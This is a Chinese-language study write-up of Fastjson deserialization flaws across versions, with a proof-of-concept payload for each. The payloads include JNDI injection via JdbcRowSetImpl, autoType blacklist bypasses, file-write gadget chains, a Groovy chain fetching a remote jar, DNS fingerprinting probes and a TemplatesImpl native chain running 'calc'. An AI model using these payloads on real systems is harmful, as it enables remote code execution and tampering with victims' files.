Fastjson反序列化学习
Fastjson反序列化学习
流程分析:
FastJson
是一个由阿里巴巴开发的高性能JSON处理库,支持Java
对象与JSON
字符串之间的互相转换。
@type可以转化为指定的java类
demo:
public class demo {
public static void main(String[] args) {
//String s = "{\"age\":\"18\",\"name\":\"abc\"}";
String s = "{\"@type\":\"com.kudo.Person\",\"age\":\"18\",\"name\":\"abc\"}";
JSONObject jsonObject = JSON.parseObject(s);
System.out.println(jsonObject);
}
}
会调用如下这些方法,本质是反射调用,接下来挑重点分析一些流程,代码实在太长,流程分析省略了很多的细节
1.解析json字符串时,判断到为@type时,将会进行fastjson中的反序列化处理
接下来获取反序列化器
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
在获取反序列化器时,比如我们传的不是一些特殊类时,会创建javabean反序列化器
derializer = this.createJavaBeanDeserializer(clazz, (Type)type);
里面会先进行javabeaninfo.build,获取这个javabean的信息
重要的时这三个循环
第一个循环遍历set方法然后获取里面的字段,包括转成小写
methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))
if (methodName.startsWith("set"))
## 如果是set方法则会add
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
第二个循环遍历标识符为public的字段
第三个循环遍历get方法,满足返回值类型为如下,且没有set方法,才会加入
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType()))
fieldInfo = getField(fieldList, propertyName);
if (fieldInfo == null)
反序列化器创建好后,会开始反序列化(自己写的反序列化)创建实例,重点看setValue反序列化赋值
其中边会调用invoke,完成set方法的调用
get方法的调用则在反序列化完成后的toJSON中
所以可以写一个简单的攻击思路:成功弹出计算器,接下来就是如何找利用
public class Test {
public void setCmd(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd);
};
}
String a = "{\"@type\":\"com.kudo.Test\",\"cmd\":\"calc\"}";
JSONObject jsonObject = JSON.parseObject(a);
Fastjson <= 1.2.24
JdbcRowSetImpl链:
条件就是:出网,能够进行JNDI攻击
com.sun.rowset.JdbcRowSetImpl#connect 存在JNDI注入
可以通过其setDataSourceName去赋值恶意服务器
而setAutoCommit会调用connect,其实就能转化为JNDI攻击
poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/SbfinClR","autoCommit":\"false\"}
BasicDataSource链 :
条件:tomcat依赖(可以不出网攻击)
fastjson<=1.36
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
在com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass类加载中会进行动态类加载,只要类名以$$BCEL$$开头
还得注意一点处理类名时进行了一次解码,所以利用时得手工编码一次,接着找有无get,set方法能调用完成这样的类加载
而org.apache.tomcat.dbcp.dbcp2.BasicDataSource#createConnectionFactory中存在调用类名以及类加载器
此类中所需存在对应set方法
在同一类中createDataSource()调用createConnectionFactory(),getConnection()调用createDataSource(),即结束
poc:
//bcel
Path path = Paths.get("D:\\tmp\\classes\\Evil.class");
byte[] bytes = Files.readAllBytes(path);
String code = "$$BCEL$$"+Utility.encode(bytes,true);
System.out.println(code);
String c = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\""+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSONObject jsonObject = JSON.parseObject(c);
poc中不用对get赋值,我们的恶意代码是在toJSON处执行,而在getFieldValuesMap中会调用所有的get方法
1.2.25 <= Fastjson <= 1.2.41
1.2.25中引入了checkAutoType代替loadclass 进行校验并且加载
ParserConfig中引入了三个变量白名单黑名单和autoTypeSupport
autoTypeSupport,用来标识是否开启任意类型的反序列化。但是作者的本意是即使开启也不允许加载黑名单
我们跟一下逻辑
再看一下loadClass函数,递归处理前面的描述符首为L,尾部为;即可以想到绕过黑名单,且autoTypeSupport得开启,不然虽然绕过了黑名单但还是无法加载任意类
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String b = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/heTsewHn\",\"autoCommit\":\"false\"}";
JSONObject jsonObject = JSON.parseObject(b);
Fastjson 1.2.42
checkAutoType作了判断存在L;则删除但if与后面的递归去除产生冲突,双写绕过即可
poc:
String b = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:8085/heTsewHn\",\"autoCommit\":\"false\"}";
JSONObject jsonObject = JSON.parseObject(b);
Fastjson 1.2.43
修改开头遇到LL,即报异常,通过[绕过,不太实用我就简单看了一下
poc:
String b = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,{\"DataSourceName\":\"ldap://127.0.0.1:8085/heTsewHn\",\"autoCommit\":\"false\"}";
JSONObject jsonObject = JSON.parseObject(b);
Fastjson <= 1.2.47(严重)
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
整个思路是这样的,我们能发现这里如果存在缓存中或者,反序列化器能找到这个类即可直接返回,我们能不能把恶意类加入至缓存中?
mappings 是此类 ConcurrentMap<String,Class<?>>,然后发现mappings.put来放入值,查找发现两个函数调用loadClass与addBaseClassMappings
addBaseClassMappings是一个静态的方法,显然无法控制,继续找loadClass的调用
显然只能控制MiscCodec#deserialze,因为checkAutoType里面的loadClass逻辑是没有问题的
控制clazz为Class类即可loadClass进一步放入缓存中,MiscCodec实现了ObjectDeserializer,是一个反序列化器,调用deserialze
再回到checkAutoType,反序列化器找类
这个Class对应的反序列化器是存在的
然后走出check后反序列化即可完成加载,然后再实现一些小细节
变量名称只能为val,并且只能有一组键值对不然在accept中会报错(我们也只需要一组键值对)
poc:
String d = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/cYksYqQI\",\"autoCommit\":\"false\"}}";
JSONObject jsonObject = JSON.parseObject(d);
1.2.48的修复,cache默认设为false,无法通过缓存绕过
Fastjson < 1.2.68
1.2.48修复之后就没有特别的手段绕过,通过新的黑名单去找payload
fastjson <= 1.2.62
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}";
fastjson <= 1.2.66
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/Calc"
}
Fastjson <= 1.2.68
由于1.2.48引入了新的安全机制,加上代码发生了些许变化,出现了一些特殊的绕过
这里的总体思路是绕过一些限制 通过调用checkAutoType中的类加载达到目的,而不是为了加载恶意类然后进行set,get方法的调用
开头增加了safeMode的判断,如果safeMode是开启的,完全无法攻击,下面的绕过建立在safeMode关闭上
下面这些代码联想出来绕过的想法,
第一如果能够存在expectClass不为下面的这些类,能使expectClassFlag为true
第二,这里期望为空时,我们仍然是可以返回mappings中的类
第三,无论autoTypeSupport是否为true,只要expectClassFlag为true,即可能加载类
整体的思路就出现了,是否存在mappings中的某个白名单类返回后,获取反序列化器,而这个反序列化器调反序列化字符串过程中再次调用了checkAutoType,我们能控制expectClass,达到一些特殊类的加载
可以发现,有两个反序列化器可以控制期望类
ThrowableDeserializer
先看此类反序列化器如何获得,在getDeserializer中如果类为Throwable的子类可以返回这类,接着去缓存白名单mappings中找是否存在Throwable的子类
成功找到Exception类
可以看到加载的类是@type的值,Throwable作为期望类传入
且能够满足不为这些类,即能完成某些的加载了
JavaBeanDeserializer
此类的思路也差不多,找不到反序列化器则会加载JavaBeanDeserializer
这次是白名单中的AutoCloseable,思路也基本上一致
还得注意一个点就是能够通过期望类绕过加载的类得满足以下条件而且不能在黑名单
调用set方法
public class evil extends Throwable {
public void setCmd(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
String x = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.kudo.evil\",\"cmd\":\"calc\"}";
JSONObject jsonObject = JSON.parseObject(x);
以上两个函数都可以办到,接下来就是寻找他们的利用,AutoCloseable
SafeFileOutputStream
fatsjon<=1.2.68
1.txt会转移到2.txt,且清空1.txt,利用fastjson没有无参构造函数会调用参数最多的那个构造函数的特性
依赖:
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
得保证targetPath为空,也就是不存在2.txt这个文件,可以读取文件,但是1.txt的内容会消失
细节:Fastjson 68 commons-io AutoCloseable | 素十八](https://su18.org/post/fastjson-1.2.68/#payload-分析)
poc:
String x = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\"tempPath\":\"D:/1.txt\",\"targetPath\":\"D:/2.txt\"}";
也可以通过$ref达到写文件
依赖
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.2.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>6.0.11</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
向文件1.txt写入
String y ="{\n" +
" \"stream\": {" + "\n" +
" \"@type\": \"java.lang.AutoCloseable\","+ "\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\","+ "\n" +
" \"targetPath\": \"D:/2.txt\","+ "\n" +
" \"tempPath\": \"D:/1.txt\"},"+ "\n" +
" \"writer\": {"+ "\n" +
" \"@type\": \"java.lang.AutoCloseable\","+ "\n" +
" \"@type\": \"com.esotericsoftware.kryo.io.Output\","+ "\n" +
" \"buffer\": \"PGhlbGxvIHdvcmxkPg==\","+ "\n" +
" \"outputStream\": {"+ "\n" +
" \"$ref\": \"$.stream\"},"+ "\n" +
" \"position\": 13},"+ "\n" +
" \"close\": {"+ "\n" +
" \"@type\": \"java.lang.AutoCloseable\","+ "\n" +
" \"@type\": \"com.sleepycat.bind.serial.SerialOutput\","+ "\n" +
" \"out\": {"+ "\n" +
" \"$ref\": \"$.writer\"}}}";
MarshalOutputStream
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 | 长亭百川云
jdk>=11 或者 jdk8 CentOS
{
2 "x":{
3 "@type":"java.lang.AutoCloseable",
4 "@type":"sun.rmi.server.MarshalOutputStream",
5 "out":{
6 "@type":"java.util.zip.InflaterOutputStream",
7 "out":{
8 "@type":"java.io.FileOutputStream",
9 "file":"/tmp/dest.txt",
10 "append":false
11 },
12 "infl":{
13 "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
14 },
15 "bufLen":1048576
16 },
17 "protocolVersion":1
18 }
19}
XmlStreamReader
commons-io 2.0 - 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
修复
首先对过滤的expectClass进行修改,新增3个新的类,并且将原来的Class类型的判断修改为hash的判断,通过彩虹表碰撞可以得知分别为:java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable。即无法再利用AutoCloseable
Fastjson 1.80Bypass
在1.2.69中缺少了对Exception的过滤,造成了后面的绕过
1.2.76 <= fastjson < 1.2.83
groovy依赖
参考:https://github.com/Lonely-night/fastjsonVul
这里的绕过思路其实是这样的,第一次通过Exception加载CompilationFailedException
而后在参数转化时会把CompilationFailedException的参数对应解析器放入deserialzers中
则第二次可以绕过
public class groovy {
public static void main(String[] args) {
String json ="{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{\n" +
" }\n" +
"}";
try {
// 反序列化将org.codehaus.groovy.control.ProcessingUnit 加入白名单
JSON.parse(json);
} catch (Exception e) {
//e.printStackTrace();
}
json =
"{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":[\"http://127.0.0.1:8433/attack-1.jar\"]\n" +
" },\n" +
" \"gcl\":null,\n" +
" \"destDir\": \"/tmp\"\n" +
"}";
// 反序列化将执行
JSONObject.parse(json);
}
}
修复1.2.83中,增加了一行,导致无法再加载Exception类
dns探测,可以探测是否为1.2.83版本
如果为<1.2.83即只会收到第一条dns记录,因为第二条解析Exception后会对message进行解析报错。
而1.2.83不会解析Exception,所以直接解析dns
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dtfafooxio.iyhc.eu.org"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "qd7dyxy0ewq1xrsofp1xhzxhf8lz9sxh.oastify.com"
}
}
}
]
探测
su18/hack-fastjson-1.2.80总结的很全,我就自己测一些好用的,然后记录一下
会显示版本号
{
"@type":"java.lang.AutoCloseable"
dns探测
适合全部版本 (1.2.84之后没测过)
{"@type":"java.net.Inet4Address","val":"nbparwlmzi.dgrh3.cn"}
<1.2.48,因为1.2.48移除了java.net.InetAddress
{"@type":"java.net.InetAddress","val":"dnslog"}
根据响应状态 可以检测autoType是否开启,如果报错说明没有开启,无报错即开启
{"@type":"whatever"}
探测目标环境依赖,有此依赖则会报错
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.mysql.jdbc.Driver"
}}
Fastjson原生反序列化链
1.2.48<= fastjson <= 2.0.26
主要是利用了jdk的原生反序列化的一些特性以及fastjson中的可以反序列化的类的反序列化特性构成此反序列化链
分析:
poc:
public class FastJson2 {
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
//装载Templates
TemplatesImpl template2 = new TemplatesImpl();
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][] {code});
setFieldValue(template, "_name", "Evil");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
// hashMap.put(badAttributeValueExpException,template);
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
System.out.println(barr.toByteArray()[1522]);
try{
Object o = ois.readObject();
}catch (Exception e){
}
}
}
poc为什么这样构成:
可以一点点解析,利用的仍然是TemplatesImpl对类进行加载
poc中利用javassist加载恶意字节数组,显然也可以使用CC3中TemplatesImpl的构造方式
接着说如何运行到TemplatesImpl
BadAttributeValueExpException的反序列化调用JSONArray.toString(),而JSONArray没有toString方法,会调用父类JSON的toString方法
从而调用toJSONString,会调用TemplatesImpl所有的getter方法
导致调用getOutputProperties->newTransformer调用至恶意字节码的加载
但如果我们直接对BadAttributeValueExpException进行反序列化会出现一些问题
测试案例,直接反序列化,我记录一下重点的过程,这里面的细节要分析jdk原生反序化,我跟了一遍,但是太长了就不全部记录了
Java 反序列化之 readObject 分析 | Kaibro's blog
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
//装载Templates
TemplatesImpl template2 = new TemplatesImpl();
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][] {code});
setFieldValue(template, "_name", "Evil");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
// hashMap.put(badAttributeValueExpException,template);
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
//oos.writeObject(hashMap);
//oos.writeObject(template);
oos.writeObject(badAttributeValueExpException);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
//System.out.println(barr.toByteArray()[1522]);
try{
Object o = ois.readObject();
}catch (Exception e){
e.printStackTrace();
}
//while (true){}
}
}
首先来到BadAttributeValueExpException的重写的反序列化,调用readFields()
调用的堆栈
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:2136, ObjectInputStream (java.io)
readOrdinaryObject:2027, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
main:59, Fastjson2 (com.kudo)
在其中调用readObject0对JSONArray进行反序列化
在这其中的一步我们可以注意一下,就是resolveClass,解析类,是通过Class.forName直接寻找的
接着看JSONArray的反序列化函数,defaultReadObject中调用了readObject0,但是不再是执行原生的ObjectInputStream,而是其子类SecureObjectInputStream
再次进入readObject0,TC_OBJECT的意思是识别为普通的类,之后再进入ArrayList的反序列化函数并调用readObject与JSONArray一致就省略了
在判断ArrayList中的TemplatesImpl时,同样会调用resolveClass,但此时调用的是SecureObjectInputStream#resolveClass,其重写了resolveClass方法
调用checkAutoType检查,其在黑名单中。那我们如何绕过呢,不进入到这里的resolveClass函数
即在前面一步,我们利用TC_REFERENCE,引用特性(增加缓存),让其走至readHandle完成加载实例化
即
readObject(template)j//提前加入缓冲
readObject(badAttributeValueExpException) 再对其反序列化即完成了绕过
两次反序列化不适用真实情况,再通过HashMap封装,HashMap反序列化会对键值分别反序列化,最后形成最后的poc
最后看看toString方法是如何调用所有getter方法的,可以看到使用了ASMSerializer写入,这个类是运行时动态生成的所有看不到代码,为了提升性能,使用heapdump查看代码,使代码保持运行(如尾部加while(true))
可以看到显示调用了所有getter方法
public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
ObjectSerializer objectSerializer;
if (object == null) {
jSONSerializer.writeNull();
return;
}
SerializeWriter serializeWriter = jSONSerializer.out;
if (!this.writeDirect(jSONSerializer)) {
this.writeNormal(jSONSerializer, object, object2, type, n);
return;
}
if (serializeWriter.isEnabled(32768)) {
this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
return;
}
TemplatesImpl templatesImpl = (TemplatesImpl)object;
if (this.writeReference(jSONSerializer, object, n)) {
return;
}
if (serializeWriter.isEnabled(0x200000)) {
this.writeAsArray(jSONSerializer, object, object2, type, n);
return;
}
SerialContext serialContext = jSONSerializer.getContext();
jSONSerializer.setContext(serialContext, object, object2, 0);
int n2 = 123;
String string = "outputProperties";
Object object3 = templatesImpl.getOutputProperties();
if (object3 == null) {
if (serializeWriter.isEnabled(964)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(0, 0);
n2 = 44;
}
} else {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if (object3.getClass() == Properties.class) {
if (this.outputProperties_asm_ser_ == null) {
this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
}
if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
} else {
objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
}
} else {
jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
}
n2 = 44;
}
string = "stylesheetDOM";
if (!serializeWriter.isEnabled(0x2000000)) {
object3 = templatesImpl.getStylesheetDOM();
if (object3 == null) {
if (serializeWriter.isEnabled(964)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(0, 0);
n2 = 44;
}
} else {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if (object3.getClass() == DOM.class) {
if (this.stylesheetDOM_asm_ser_ == null) {
this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
}
if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
} else {
objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
}
} else {
jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
}
n2 = 44;
}
}
string = "transletIndex";
int n3 = templatesImpl.getTransletIndex();
serializeWriter.writeFieldValue((char)n2, string, n3);
n2 = 44;
if (n2 == 123) {
serializeWriter.write(123);
}
serializeWriter.write(125);
jSONSerializer.setContext(serialContext);
}
参考: